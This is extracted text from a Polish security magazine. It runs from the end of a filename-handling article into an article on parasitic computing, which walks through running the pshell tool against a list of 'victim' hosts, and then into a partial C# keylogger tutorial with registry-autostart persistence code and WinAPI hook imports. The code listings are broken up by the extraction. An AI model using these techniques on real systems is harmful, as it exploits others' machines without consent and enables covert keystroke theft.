aLa.TxT, lub ala.TXT – system ten,
nie dość że jest niewrażliwy na wiel-
kość liter, to jeszcze ignoruje wszyst-
kie kropki występujące na końcu
nazwy pliku. Dodatkowy wariant od-
wołania do pliku pojawia się w wy-
padku, gdy plik ma nazwę, której nie
można zapisać w formacie 8.3 (8 zna-
ków nazwy, 3 znaki rozszerzenia) – na
przykład alamakota.txt. Do pliku od-
wołać się można wtedy korzystając ze
skróconej wersji jego długiej nazwy,
czyli na przykład alamak~1.txt. Nale-
ży zauważyć, że z tego powodu archi-
wum zawierające pliki ala.txt, aLa.TxT,
oraz ALA.TXT zostanie rozpakowa-
ne w zupełnie inny sposób w syste-
mie POSIX-owym oraz systemie z ro-
dziny Windows. Kolejnym problemem
mogą być zastrzeżone już w czasach
MS-DOS nazwy plików, takie jak con,
nul czy com1 – com9. Pliki o takich
nazwach mogą bez problemu istnieć
w systemach POSIX-owych, nato-
miast w systemach z rodziny Windows
takie pliki nie mogą zostać utworzone
a przynajmniej w standardowy sposób.
Jeszcze inny problem mogą sprawić al-
ternatywne strumienie danych w syste-
mie plików NTFS, do których odwołuje
się za pomocą dwukropka. Przykłado-
wo plik ala:kot mógłby być normalnym
plikiem w systemie POSIX-owym, nato-
miast w przypadku systemu korzystają-
cego z NTFS ala:kot oznacza strumień
kot w pliku ala. Ostatnią bardzo widocz-
ną różnicą jest zapis ścieżek katalogów
– w przypadku systemów POSIX-owych
separatorem katalogów jest slash, nato-
miast w przypadku systemów z rodziny
Windows może to być zarówno slash,
jak i backslash. Tak więc plik ala\kot
mógłby być normalnym plikiem w sys-
temie POSIX-owym, ale w systemie z
rodziny Windows oznaczałby on plik kot
w katalogu ala.
Podsumowanie
Mam nadzieję, iż niniejszy artykuł po-
może programistom ustrzec się błę-
dów związanych z obsługą nazw pli-
ków otrzymanych z zewnątrz, a teste-
rom wskaże miejsca, w których po-
tencjalny błąd mógłby zaistnieć. l
O autorze
Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym.
Kontakt z autorem: gynvael@coldwind.pl
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 01/2008
36
Atak
P
rzesyłanie informacji za pośrednic-
twem Internetu jest złożonym proce-
sem regulowanym przez zestaw pro-
tokołów. Protokoły te implementowane są
obecnie zgodnie z globalnym standardem
– określającym warstwy funkcjonalne wymaga-
ne do obsługi połączeń – o nazwie OSI (Open
System Interconnection). Kiedy użytkownik
wpisuje do swojej przeglądarki internetowej ad-
res URL w celu obejrzenia strony WWW, prze-
glądarka nawiązuje połączenie przy wykorzy-
staniu protokołu TCP (Transmission Control
Protocol). W następnej kolejności, przy wy-
korzystaniu istniejącego połączenia TCP, wy-
syłane jest żądanie za pośrednictwem pro-
tokołu HTTP (Hyper Text Transfer Protocol).
Pakiet TCP jest przesyłany przez sieć za po-
średnictwem protokołu IP (Internet Protocol).
Przesyłany komunikat może zostać podzielo-
ny na mniejsze pakiety, które przesłane zosta-
ną niezależnie przez szereg routerów znajdu-
jących się między źródłem a miejscem docelo-
wym. Kiedy żądanie HTTP dotrze do miejsca
przeznaczenia, odpowiedź odsyłana jest tym
samym połączeniem TCP, jakie zostało nawią-
zane przez przeglądarkę użytkownika.
Mechanizmy zaimplementowane w proto-
kołach TCP/IP rekonstruują oryginalny komu-
nikat ze zbioru pakietów, jakie zostały przesła-
ne przez sieć. Komunikat ten jest ostatecznie
przetwarzany w warstwie aplikacji przez proto-
kół HTTP. Po zinterpretowaniu żądania przez
serwer WWW zostaje wygenerowana odpo-
wiedź (może to być właściwa strona, komuni-
kat o błędzie itd.).
Jak widać, prosty z pozoru proces wymaga
dosyć znacznej liczby obliczeń – zarówno po
stronie wysyłającej, jak i odbierającej żądanie.
Niezawodność komunikacji, jaką zapewnia do-
Obliczenia pasożytnicze
Michał Styś
stopień trudności
Niezawodne przesyłanie danych w Internecie gwarantowane
jest przez zestaw protokołów sieciowych implementowanych
w systemach komputerowych. Artykuł ten pokaże, w jaki sposób
protokoły te mogą zostać wykorzystane w celu zmuszenia
zdalnych systemów do nieświadomego wykonania użytecznych
z punktu widzenia napastnika obliczeń.
Z artykułu dowiesz się
• w jaki sposób wykorzystać protokoły sieciowe,
aby wykonywać obliczenia na komputerach
podłączonych do Sieci,
• jakie znaczenie dla bezpieczeństwa kompu-
terowego ma trudność rozwiązywania proble-
mów klasy NP.
Co powinieneś wiedzieć
• powinieneś mieć podstawową wiedzę o modelu
OSI,
• powinieneś rozumieć, jak działają protokoły
sieciowe.
Techniki obliczeń pasożytniczych
hakin9 Nr 01/2008
www.hakin9.org
37
datkowo protokół TCP, wprowadza
takie elementy jak trójfazowe uzgad-
nianie połączenia, potwierdzanie
otrzymania pakietu, sumy kontrolne
oraz numery sekwencyjne. Elementy
zapewniające niezawodność komu-
nikacji można jednak wykorzystać
w zupełnie innym celu niż ten, do
którego zostały zaprojektowane.
Pasożytniczy komputer
Termin pasożytniczy komputer odno-
si się do realizacji abstrakcyjnej ma-
szyny składającej się z rozproszo-
nych w sieci komputerów. Podobnie
jak w przypadku standardowych pro-
jektów realizujących obliczenia roz-
proszone, maszyna ta zbudowana
jest w oparciu o protokoły sieciowe.
W odróżnieniu jednak od nich, układ
pasożytniczy wykonuje obliczenia
bez wiedzy i pozwolenia właścicie-
la komputera ofiary, wykorzystywa-
nego jako węzeł obliczeniowy. Infor-
matyka pasożytnicza nie musi zakła-
dać również konieczności ingerencji
w oprogramowanie działające na
komputerze ofiary. Nie dochodzi tu-
taj do włamania do zdalnego systemu
ani też instalowania na nim jakiego-
kolwiek złośliwego oprogramowania.
Realizacja
pasożytniczego
komputera
Protokół TCP dobrze nadaje się do
zrealizowania idei pasożytniczego
komputera w praktyce. Do tego ce-
lu posłużyć może mechanizm sumy
kontrolnej.
Pakiet przesyłany przez Inter-
net może w którymś momencie ulec
uszkodzeniu. Przykładowo, seria sy-
gnałów elektrycznych reprezentu-
jących bity może zostać zmieniona
w czasie przepływu przez kabel kon-
centryczny wskutek tłumienia lub in-
terferencji wywołanych przez źródła
pól elektromagnetycznych znajdują-
cych się w pobliżu medium transmi-
syjnego. Aby zapewnić niezawod-
ność w tego typu sytuacjach, proto-
kół TCP wprowadza mechanizm su-
my kontrolnej. Komputer wysyłający
pakiet oblicza jego sumę kontrolną
i dołącza ją do pakietu. Następnie
operację obliczenia sumy kontrolnej
odbiorca wykonuje na otrzymanym
pakiecie. Jeśli suma kontrolna zapi-
sana w pakiecie zgadza się z sumą
obliczoną dla tego pakietu, oznacza
to, że dane są poprawne i mogą być
przekazane do wyższych warstw
protokołów modelu OSI. Jeśli wy-
stąpiła niezgodność, pakiet uznawa-
ny jest za uszkodzony, a warstwa TCP
usuwa go i nie wysyła do odbiorcy
potwierdzenia otrzymania danych.
Interesującą nas właściwością
tego mechanizmu jest fakt, że suma
kontrolna TCP wyliczana jest przy
wykorzystaniu operacji wystarcza-
jących do wykonania każdej ope-
racji mieszczącej się w zakresie al-
gebry Boole'a. Istnieje zatem możli-
wość wykorzystania go jako bram-
ki logicznej. To z kolei otwiera drzwi
do wykonywania operacji arytme-
tycznych.
Implementacja układu obliczeń
pasożytniczych wykorzystujących
protokół TCP polega na zbudowa-
niu pakietu ze specjalnie sprepa-
rowaną sumą kontrolną. Kompu-
ter ofiary w procesie przetwarza-
nia żądania i generowania odpowie-
dzi automatycznie wykona zlecone
obliczenie – podczas wykonywania
algorytmu sprawdzania sumy kon-
trolnej. Zakres działania omawia-
nych mechanizmów wystarcza do
zbudowania pasożytniczego układu
obliczeniowego.
Informatyka
pasożytnicza
W obliczu omówionego potencjału
związanego z możliwością korzy-
stania z zasobów obliczeniowych
komputerów w Internecie pojawia
się pytanie: do czego można taki
mechanizm zastosować?
W roku 2001 czterech naukow-
ców – Albert Laszlo Barabasi, Vin-
cent W. Freeh, Hawoong Jeong
oraz Jay B. Brockman – zapropo-
nowało mechanizm rozwiązywa-
nia problemu klasy NP (non-poly-
nomial) przy wykorzystaniu obli-
czeń pasożytniczych. Ich publika-
cja wzbudziła spore zainteresowa-
nie, jako że na trudności rozwiązy-
wania problemów tej klasy opiera
się całe bezpieczeństwo współcze-
snych mechanizmów kryptograficz-
nych. Gdyby znaleziony został spo-
sób na rozwiązywanie problemów
NP w rozsądnym czasie, większość
znanych technik kryptograficznych
stałaby się bezużyteczna.
Aby rozwiązywać problemy
matematyczne przy wykorzystaniu
sumy kontrolnej TCP, konieczna je-
stodpowiednia reprezentacja proble-
mu. Dla problemów NP stosowna
w tym przypadku jest reprezen-
Listing 1.
Program dla pasożytniczej maszyny wirtualnej napisany w mikroassemblerze 4IA (plik sub.4ia)
ARCH
8
10
;
Definicja
architektury
.
Rejestry
o
d
ł
ugo
ś
ci
8
bit
ó
w
,
liczba
rejestr
ó
w
–
10
00
:
SET
r3
,
0xFF
;
Do
rejestru
r3
ł
adujemy
warto
ść
-
1
01
:
SET
r2
,
5
;
Do
rejestru
r2
ł
adujemy
5
.
B
ę
dzie
to
ilo
ść
iteracji
w
p
ę
tli
02
:
SET
r9
,
100
;
Rejestr
r9
przechowa
warto
ść,
od
kt
ó
rej
b
ę
dziemy
odejmowa
ć
03
:
SET
r0
,
4
;
Do
rejestru
instrukcji
ł
adujemy
numer
,
od
kt
ó
rego
zacznie
si
ę
p
ę
tla
04
:
ADD
r9
,
r3
;
Wykonujemy
operacj
ę
odejmowania
na
rejestrze
r9
(
100
+
(
-
1
))
05
:
SET
r1
,
0
;
Reset
flagi
przepe
ł
nienia
06
:
ADD
r2
,
r3
;
Zmniejszamy
licznik
p
ę
tli
o
1
07
:
ADD
r0
,
r1
;
Je
ś
li
flaga
przepe
ł
nienia
==
1
,
skaczemy
do
instrukcji
09
08
:
SET
r0
,
9
;
Koniec
p
ę
tli
,
skok
do
linii
10
09
:
SET
r0
,
3
;
P
ę
tla
trwa
,
skok
do
linii
04
10
:
HLT
;
Koniec
dzia
ł
ania
programu
hakin9 Nr 01/2008
www.hakin9.org
Atak
38
tacja problemu jako Boole'owskie
równanie spełnialności. Równania
takie określa się jako SAT. Równa-
nia spełnialności SAT pozwalają
na zapis problemu przy wykorzy-
staniu operatorów logiki Boole'a.
Jako przykład równania SAT może
posłużyć następująca konstrukcja:
P=(x1 XOR x2) AND (~x2 AND x3)
P
oznacza tu problem, natomiast
x1
,
x2
oraz
x3
są parametrami. W pre-
zentowanym przykładzie istnieje 23
potencjalnych rozwiązań, ale rów-
nanie będzie spełnione tylko dla jed-
nego z nich – w tym przypadku
x1=1
,
x2=0
,
x3=1
. Rozwiązywanie proble-
mów SAT polega na odnalezieniu
takiej wartości wszystkich parame-
trów, aby całe równanie mogło być
spełnione. Zaprezentowany przy-
kład równania SAT jest trywialny
i może być rozwiązany bardzo łatwo.
W przypadku bardziej złożonych rów-
nań zawierających więcej parame-
trów problem staje się NP-zupełny.
Z uwagi na swoją specyfikę, rów-
nanie SAT może zostać zapisane
jako sekwencja bitów, która zosta-
je następnie uformowana w pakiet
TCP i wysłana do ofiary jako ele-
ment problemu do policzenia.
Scenariusz pasożytniczego kom-
putera zilustrowany został na Ry-
sunkach 1 oraz 2. W pierwszym
kroku komputer-pasożyt, nadzo-
rujący proces wykonywania obli-
czeń, przygotowuje 2n specjalnie
skonstruowanych pakietów zawie-
rających wszystkie możliwe kom-
binacje parametrów równania SAT.
Następnie wysyła spreparowane
pakiety TCP do pewnej liczby ma-
szyn-ofiar. Maszyny te wyposażo-
ne są w jednostki arytmetyczno-
logiczne, umożliwiające wykony-
wanie obliczeń oraz w interfejsy
sieciowe umożliwiające zdalne po-
łączenia (warunki te spełnia każ-
dy komputer podłączony do Inter-
netu). Pakiety zawierające błęd-
ne rozwiązania nie posiadają
prawidłowej sumy kontrolnej i zosta-
ją odrzucone (ilustruje to strzałka
z opisująca błędne rozwiązanie).
W przypadku, gdy rozwiązanie
problemu jest poprawne, oblicze-
nie sumy kontrolnej zakończy się
sukcesem, a pakiet trafi w górę
stosu protokołów.
Ponieważ protokół HTTP za-
kłada generowanie odpowiedzi na
wszystkie, nawet niepoprawne, żą-
dania, zostanie ona wysłana, gdy
tylko pakiet dotrze do warstwy apli-
kacji. Dzięki temu można rozpo-
znać, który zestaw parametrów
jest poprawnym rozwiązaniem pro-
blemu SAT.
Po wysłaniu wszystkich pakie-
tów do milionów komputerów w In-
ternecie odpowiedziałyby tylko te,
które otrzymały pakiety zawiera-
jące parametry równania SAT bę-
dące prawidłowym rozwiązaniem.
Reszta pakietów zostałaby po pro-
stu odrzucona. Możliwe jest zatem
odnalezienie rozwiązania bez wy-
konywania obliczeń na lokalnym
komputerze.
Barabasi, Freeh, Jeong oraz
Brockman przeprowadzili udaną pró-
bę rozwiązania równania SAT przy
wykorzystaniu omawianej techni-
ki. Udowodnili tym samym tezę, że
możliwe jest zmuszanie kompute-
rów w Internecie do wykonywania
konkretnych obliczeń bez koniecz-
ności naruszania ich infrastruktury
i instalowania na nich dodatkowego
oprogramowania. Dodatkowo spo-
re problemy stwarza zabezpiecze-
nie się przed tego typu technikami.
Ponieważ wykorzystywane są stan-
dardowe mechanizmy zapewniające
funkcjonowanie komputera w sieci,
uniemożliwienie takich obliczeń jest
praktycznie nierealne.
Obliczenia pasożytnicze
w praktyce
Czy opisane techniki wystarcza-
ją do praktycznego zastosowania
obliczeń pasożytniczych w posta-
ci skonstruowania gigantycznego
superkomputera i zagrożenia tech-
nikom kryptograficznym? Okazuje się,
że nie do końca. Omawiane podej-
ście prezentuje jak najbardziej god-
ny uwagi, wręcz rewolucyjny sposób
spojrzenia na możliwości prowadze-
nia obliczeń rozproszonych, ale spra-
wa komplikuje się po rozważeniu kilku
dodatkowych czynników.
Listing 3.
Polecenie sh do wylistowania hosta
sh
Hostname Address Packets Timeouts Enabled Falsepos.
-------------------- --------------- ------- -------- ------- -----------
192.168.0.2 192.168.0.2 0 0 yes untested
192.168.0.3 192.168.0.3 0 0 yes untested
Listing 2.
Stan rejestrów pasożytniczej maszyny wirtualnej po
zakończeniu wykonywania zadania obliczeniowego
Register Decimal Hex Comment
-------- ------- ------- ---------------------------
r0000000 10 0x000a Instruction pointer (ip)
r0000001 0 0x0000 Flag register (fl)
r0000002 255 0x00ff XIA error register
r0000003 255 0x00ff XIA carry register
r0000004 0 0x0000
r0000005 0 0x0000
r0000006 0 0x0000
r0000007 0 0x0000
r0000008 0 0x0000
r0000009 95 0x005f
r0000010 0 0x0000
Techniki obliczeń pasożytniczych
hakin9 Nr 01/2008
www.hakin9.org
39
Pierwszy problem rodzi mecha-
nizm identyfikowania prawidłowych
rozwiązań. W przypadku niepo-
prawnego obliczenia sumy kontro-
lnej pakietu przez komputer-ofia-
rę, TCP usuwa pakiet i nie generuje
żadnej odpowiedzi. W efekcie trud-
ne jest ustalenie, czy nie otrzymali-
śmy odpowiedzi wskutek faktycznie
niepoprawnej sumy kontrolnej, czy
też na przykład w wyniku zmiany
polityki firewalla lub po prostu odłą-
czenia komputera-ofiary od sieci.
Drugim aspektem trudności wy-
korzystania informatyki pasożytni-
czej w obecnej postaci jest fakt du-
żego zapotrzebowania na pasmo
potrzebne do rozesłania wielkiej ilo-
ści pakietów SAT. Samo przygoto-
wanie takich pakietów również wy-
maga sporej mocy obliczeniowej.
Czynniki te powodują, że na dzień
dzisiejszy opisywane podejście nie
jest wystarczająco wydajne, aby
mogło służyć budowie i praktycz-
nemu wykorzystaniu gigantyczne-
go klastra zbudowanego z milionów
komputerów znajdujących się w In-
ternecie.
Przykładowa
aplikacja pasożytnicza
Dobrym przykładem aplikacji reali-
zującej obliczenia pasożytnicze przy
wykorzystaniu omawianej metodolo-
gii jest stworzona przez Jürga Reus-
sera oraz Luziana Scherrera maszy-
na wirtualna. Oprogramowanie to
jest publicznie dostępne pod adre-
sem http://szene.ch/parasit/. Oma-
wiana maszyna jest w pełni progra-
mowalna i zdolna rozwiązać dowol-
ny znany problem matematyczny.
W celu zainstalowania oprogra-
mowania pasożytniczej maszyny wir-
tualnej, należy pobrać kod źródłowy.
Dostępny jest on pod adresem http://
szene.ch/parasit/code/parasitic_
computing.tar.gz Niniejszy artykuł za-
wiera opis wykorzystania omawianej
aplikacji w systemie Linux. Po pobra-
niu archiwum należy je rozpakować.
Można to zrobić poleceniem:
tar -zxf parasitic_computing.tar.gz
Następnie przechodzimy do instalacji:
make
make install
Aplikacja instaluje się domyślnie
w katalogu
/usr/local
, a więc wa-
riant ten wymaga uprawnień do zapi-
suw tym katalogu. Aby zmienić doce-
lowy katalog, należy zmienić wartość
zmiennej PREFIX w pliku Makefile.
Do korzystania z programu ko-
nieczne jest zrozumienie podstaw
jego działania. Maszyna wirtualna
wyposażona została w zestaw reje-
strów, które wykorzystywane są do
wykonywania zadań. Rejestry po-
siadają oznaczenia
rn
gdzie
n
okre-
śla numer rejestru. Wyróżnić można
tu trzy typy rejestrów:
• r0 – rejestr instrukcji. Przeznaczo-
ny do przechowywania numeru
aktualnie wykonywanej instrukcji.
Manipulacja jego zawartością po-
zwala na sterowanie przebiegiem
zadania,
• r1 – rejestr flagi. Pozwala na wy-
krywanie warunku zakończenia
działania pętli. Przyjmuje wartość
1
, gdy w którymś z rejestrów ogól-
nego przeznaczenia dojdzie do
przepełnienia wywołanego dzia-
łaniem instrukcji ADD (instrukcje
omówione zostały poniżej),
• r2...rn – rejestry ogólnego prze-
znaczenia. Można przechowy-
wać w nich wartości oraz wyko-
nywać operacje arytmetyczne.
Autorzy aplikacji stworzyli zestaw in-
strukcji pozwalający na definiowanie
zadań obliczeniowych realizowanych
na zdalnych maszynach. Język ten
bazuje na klasycznym assemblerze.
Określony został jako
4IA
, co ozna-
cza czteroinstrukcyjny assembler
(4 Instruktionen Assembler). Zgod-
nie z nazwą, posiada on cztery pod-
stawowe instrukcje:
• HLT – instrukcja przerywa wyko-
nanie zadania obliczeniowego,
• SET dst, const – instrukcja
umieszcza wartość const w reje-
strze określonym na pozycji dst,
• MOV dst, src – instrukcja ta ko-
piuje wartość rejestru src do reje-
stru określonego jako dst,
• ADD dst, src – instrukcja ADD po-
zwala na dodanie wartości prze-
chowywanej w rejestrze src do
wartości rejestru dst. Wynik zapisa-
Problemy wielomianowe
Problemy wielomianowe to takie zadania, dla których na maszynie Turinga możliwe
jest wygenerowanie rozwiązania w czasie wielomianowo proporcjonalnym do długo-
ści danych wejściowych. Czas potrzebny do rozwiązania takiego problemu jest bezpo-
średnio zależny od długości danych wejściowych podniesionych do stałej potęgi. Dla
problemów klasy NP (niewielomianowych) nie ma takich rozwiązań. Dla tej klasy pro-
blemów niewielki wzrost długości danych wejściowych wywołuje znaczne wydłużenie
czasu rozwiązywania problemu (czas może rosnąć wykładniczo).
Dla problemów NP-zupełnych będących podzbiorem problemów klasy NP udo-
wodniono brak rozwiązań w czasie proporcjonalnym do wielomianowego.
W przypadku nietrywialnych danych wejściowych problemy NP są trudne w roz-
wiązywaniu.
Listing 4.
Ilość pakietów pasożytniczych
sh
Hostname Address Packets Timeouts Enabled Falsepos.
-------------------- --------------- ------- -------- ------- -----------
192.168.0.2 192.168.0.2 817 0 yes untested
192.168.0.3 192.168.0.3 809 0 yes untested
hakin9 Nr 01/2008
www.hakin9.org
Atak
40
ny zostaje w rejestrze dst. Jeśli doj-
dzie do przepełnienia zakresu reje-
stru, ustawiona zostaje flaga
r1
.
Zestaw powyższych instrukcji wystar-
cza do realizacji każdej operacji aryt-
metycznej. Jako przykład zrealizowa-
na zostanie prosta operacja odejmo-
wania. Trywialny problem
100 - 5
zde-
finiować można w następujący sposób:
Tak przygotowany program gotowy jest
do uruchomienia na pasożytniczej ma-
szynie. Sama maszyna uruchamiana
jest przy wykorzystaniu polecenia:
/usr/local/bin/pshell
Najpierw należy przygotować plik
z adresami IP komputerów, które
wykorzystane zostaną jako ofia-
ry. Adresy rozdzielane są znakami
nowej linii. Po przygotowaniu pliku
i uruchomieniu
pshell
, należy go
załadować:
lh /sciezka/do/pliku/adresow_IP
Przykład:
lh /home/parasite/hosts
Hostlist loaded
Hosty wylistować można przy wyko-
rzystaniu polecenia
sh
: W celu wyko-
nania napisanego zadania posłużyć
należy się następującym poleceniem:
xp /home/parasite/sub.4ia
Jeśli wszystko zakończy się po-
wodzeniem (hosty – ofiary po-
winny być włączone), otrzymamy
komunikat:
Execution successfully terminated.
Wyniki (stan rejestrów) obejrzeć
można przy wykorzystaniu polece-
nia
sr
. Rejestr
r9
przechowuje zgod-
ną z oczekiwaniami wartość
100 – 5
= 95
. Obliczenia powiodły się.
Teraz zobaczyć można także, ile
pasożytniczych pakietów wysłanych
zostało do poszczególnych kompute-
rów. Szczegółowe statystyki obejrzeć
można po wydaniu polecenia
ss
.
Przykłady bardziej skompliko-
wanych zadań dostarczone są wraz
z maszyną wirtualną i po instalacji
znaleźć je można w katalogu
/usr/
local/share/parasit/4ia/
.
Strukturę wysyłanych pakietów
można obejrzeć na maszynach-
ofiarach przy wykorzystaniu dowol-
nego sniffera sieciowego (najlepiej
Wireshark). Obserwować należy
pakiety ICMP przesyłane między
ofiarą i pasożytem, ponieważ pa-
sożytniczy mechanizm obliczeń zo-
stał zaimplementowany przy wyko-
rzystaniu właśnie tego protokołu.
Aspekty legalności
Mimo, że informatyka pasożytni-
cza nie narusza integralności sys-
temów wykonujących zlecone ob-
liczenia, może powodować opóź-
nienia ich działania. Duże ilości
pakietów przesyłane do interfejsów
sieciowych powodują efekty po-
dobne do ataku typu Denial of Se-
rvice. Z tego powodu powstaje sze-
reg pytań natury etyczno-prawnej
dotyczących wykorzystywania mo-
cy obliczeniowej maszyn znajdują-
cych się w Internecie bez pozwo-
lenia ich właścicieli. Wszystko to
skłania do refleksji na temat okre-
ślenia granic własności zasobów
Internetu.
Podsumowanie
Podsumowując, da się zauważyć,
że informatyka pasożytnicza za-
ciera granice pomiędzy komunika-
cją a obliczeniami w sieci. Udowod-
niono, że możliwe jest wymusze-
nie użytecznych obliczeń na zdal-
nych komputerach przy wykorzy-
staniu samej infrastruktury obec-
nego Internetu. Mimo, iż w prakty-
ce zastosowanie obliczeń pasożyt-
niczych w ich obecnej formie jest
mocno ograniczone, otwiera drogę
do kolejnych eksperymentów i zna-
cząco wpływa na aspekty spojrze-
nia na Internet. l
Rysunek 1.
Prototyp
pasożytniczego komputera
Pasożyt
Ofiara
HTTP
HTTP
TCP
TCP
IP
IP
Sieć
Sieć
Interfejs fizyczny
Poprawne rozwiązanie
Błędne rozwiązanie – brak odpowiedzi
Pakiet odrzucony z powodu
błędnej sumy kontrolnej
Rysunek 2.
Działania mechanizmu
obliczeń pasożytniczych
Pasożyt
niepoprawna
suma kontrolna
(brak odpowiedzi)
niepoprawna
suma kontrolna
(brak odpowiedzi)
Ofiara
Ofiara
Ofiara
Poprawna
suma
kontrolna
(odpowiedź)
Znaleziono
poprawne
rozwiązanie!
O autorze
Aktualnie jest studentem drugiego roku SUM Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do jego głównych zainteresowań należy programowanie, administra-
cja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.
Kontakt z autorem: michal.stys@gmail.com
W Sieci
• http://www.nd.edu/~parasite/ – strona twórców idei informatyki pasożytniczej wyko-
rzystującej mechanizmy protokołów internetowych,
• http://szene.ch/parasit/ – strona z implementacjami oprogramowania wykorzystu-
jącego techniki obliczeń pasożytniczych.
www.hakin9.org
hakin9 Nr 01/2008
42
Atak
P
isząc o podsłuchiwaniu hasła, nie ma-
my oczywiście na myśli przypadku pod-
słuchiwania mówiącego sobie pod no-
sem użytkownika, który właśnie wprowadza swo-
je hasło. Chodzi nam o program, który bez wiedzy
użytkownika będzie zapisywał wszystkie naciśnię-
te klawisze. Będzie go mógł napisać nawet śred-
nio zaawansowany programista, znający system
Windows. Widać zatem, że jest to realne zagro-
żenie. Przyjrzyjmy się teraz, jak system Windows
opiekuje się uruchamianymi programami. Działa-
nie aplikacji okienkowych polega przede wszyst-
kim na reagowaniu na zdarzenia. Zdarzenia to
nic innego jak wyniki interakcji użytkownika z apli-
kacją. Jest to więc klikanie, przyciskanie, upusz-
czanie, przeciąganie oraz inne akcje, które moż-
na wykonać w aplikacji. Pisząc jakiś program pod
Windows w środowiskach RAD (ang. Rapid Ap-
plication Development), musimy stworzyć me-
tody zdarzeniowe związane z konkretnymi zda-
rzeniami dla kontrolek aplikacji. W zależności od
języka programowania – bądź platformy urucho-
mieniowej – mamy do dyspozycji różne mechani-
zmy reakcji na zdarzenia w aplikacji. Dla platformy
.NET będą to delegacje, w C++ Bulider – wskaź-
niki na funkcje, a dla Javy specjalne obiekty nasłu-
chujące. Skąd jednak aplikacja wie, że jej przycisk
został kliknięty? Taką informację dostaje od sys-
temu Windows. Utrzymuje on dla każdego uru-
chomionego programu kolejkę, która przechowu-
je zdarzenia. Zdarzeniem, które nas najbardziej
w tym momencie interesuje, jest naciśnięcie kla-
wisza na klawiaturze. Aby je przechwycić, musi-
my monitorować komunikaty wysyłane do urucho-
mionych w systemie aplikacji. Nie jest to zadanie
specjalnie skomplikowane (nie musimy modyfiko-
wać np. jądra), ponieważ system Windows udo-
stępnia mechanizm haków (ang. hooks). Został on
już opisany przez Jacka Matulewskiego w nume-
C#.NET –
podsłuchiwanie klawiatury
Sławomir Orłowski, Maciej Pakulski
stopień trudności
Skomplikowane i często aktualizowane hasło, które oprócz liter
zawiera również cyfry i znaki specjalne, to bardzo dobry sposób
obrony przed nieautoryzowanym dostępem. Pod warunkiem, że
nie jesteśmy podsłuchiwani w trakcie jego wprowadzania.
Z artykułu dowiesz się
• jak działają haki w systemie Windows,
• jak dodawać wpisy do rejestru systemowego,
• jak z poziomu kodu C# podsłuchiwać kla-
wiaturę.
Co powinieneś wiedzieć
• podstawy programowania zorientowanego
obiektowo,
• podstawy działania systemu Windows,
• podstawowa znajomość sieci komputerowych.
C#.NET – podsłuchiwanie klawiatury
hakin9 Nr 01/2008
www.hakin9.org
43
rze 4/2007, jednak pod nieco innym ką-
tem. My zajmiemy się użyciem haków
w kodzie C#. Będziemy zmuszeni do
skorzystania z funkcji
WinAPI
oraz me-
tod specyficznych dla Windows, co jest
pogwałceniem idei platformy urucho-
mieniowej.
Dodawanie
wpisów do autostartu
Idea platformy uruchomieniowej po-
lega na przenaszalności programu
na poziomie kodu i aplikacji pomię-
dzy systemami operacyjnymi. Jed-
nak Linux nie posiada czegoś takie-
go, jak rejestr. W związku z tym nasz
program, pomimo tego, że jest pisany
dla platformy .NET, będzie działał po-
prawnie jedynie dla systemu operacyj-
nego Windows. Inną kwestią pozosta-
je, czy firmie Microsoft naprawdę zale-
ży na przenaszalności kodu pomiędzy
systemami innymi niż Windows. Za-
nim rozpoczniemy tworzenie haków,
napiszemy metodę, która będzie do-
dawała wpisy do autostartu. Pozwoli to
uruchomić nasz program przy każdym
starcie systemu. Ponieważ, jak napi-
sałem wcześniej, rejestr systemowy
jest specyficzny dla Windows, twór-
cy .NET postanowili wszystkie kla-
sy z nim związane umieścić w prze-
strzeni nazw Microsoft, a nie System.
Dane dotyczące automatycznie uru-
chamianych programów przechowuje
klucz Software\Microsoft\Windows\
CurrentVersion\Run rejestru syste-
mowego. Jeżeli zapiszemy ścieżkę
z plikiem .exe w kluczu HKEY_CUR-
RENT_USER, nasza aplikacja bę-
dzie uruchamiana po wlogowaniu się
aktualnie zalogowanego użytkowni-
ka. Jeżeli zapiszemy ją w HKEY_LO-
CAL_MACHINE, program uruchamia-
ny będzie po wlogowaniu się dowolne-
go użytkownika. W naszej wersji niech
będzie to aktualny użytkownik. Musi-
my dodać jeszcze w sekcji using prze-
strzeń nazw Microsoft.Win32. Metoda
realizująca nasze zadanie przedsta-
wiona jest na Listingu 1.
Na początku metody znajduje się
deklaracja typów wyliczeniowych, któ-
re przydadzą nam się do określenia ro-
dzaju operacji, jaką chcemy wykonać
(typ
asOperation
) oraz do określenia,
czy się ona udała (
asValue
). Ponieważ
C# jest językiem silnie obiektowym, to
wspomniane typy wyliczeniowe musi-
my zadeklarować jako pola klasy re-
prezentującej nasz program. Parame-
try, jakie przyjmuje nasza metoda, to
nazwa klucza (zmienna
name
), ścieżka
dostępu i nazwa pliku wykonywalnego,
który chcemy uruchomić (zmienna
exe
)
Listing 1.
Metoda sprawdzająca, dodająca lub usuwająca wpis w
autostarcie systemu
Windows
enum
asOperation
{
asCheck
,
asWrite
,
asDelete
}
;
enum
asValue
{
yes
,
no
,
error
}
;
private
static
asValue
InsertInAutostart
(
string
name
,
string
exe
,
asOperation
operation
)
{
const
string
key
=
"Software
\\
Microsoft
\\
Windows
\\
CurrentVersion
\\
Run"
;
try
{
RegistryKey
rg
=
Registry
.
CurrentUser
.
OpenSubKey
(
key
,
true
);
switch
(
operation
)
{
case
asOperation
.
asCheck
:
if
(
rg
.
GetValue
(
name
)
!=
null
)
return
asValue
.
yes
;
else
return
asValue
.
no
;
case
asOperation
.
asWrite
:
rg
.
SetValue
(
name
,
exe
);
rg
.
Close
();
return
asValue
.
yes
;
case
asOperation
.
asDelete
:
rg
.
DeleteValue
(
name
);
rg
.
Close
();
return
asValue
.
yes
;
}
return
asValue
.
no
;
}
catch
{
return
asValue
.
error
;
}
}
Listing 2.
Import funkcji WinAPI
[
DllImport
(
"user32.dll"
)]
private
static
extern
IntPtr
CallNextHookEx
(
IntPtr
hhk
,
int
nCode
,
IntPtr
wParam
,
IntPtr
lParam
);
[
DllImport
(
"user32.dll"
)]
private
static
extern
int
ToAscii
(
uint
uVirtKey
,
uint
uScanCode
,
byte
[]
lpKeyState
,
ref
char
lpChar
,
uint
flags
);
[
DllImport
(
"user32.dll"
)]
private
static
extern
bool
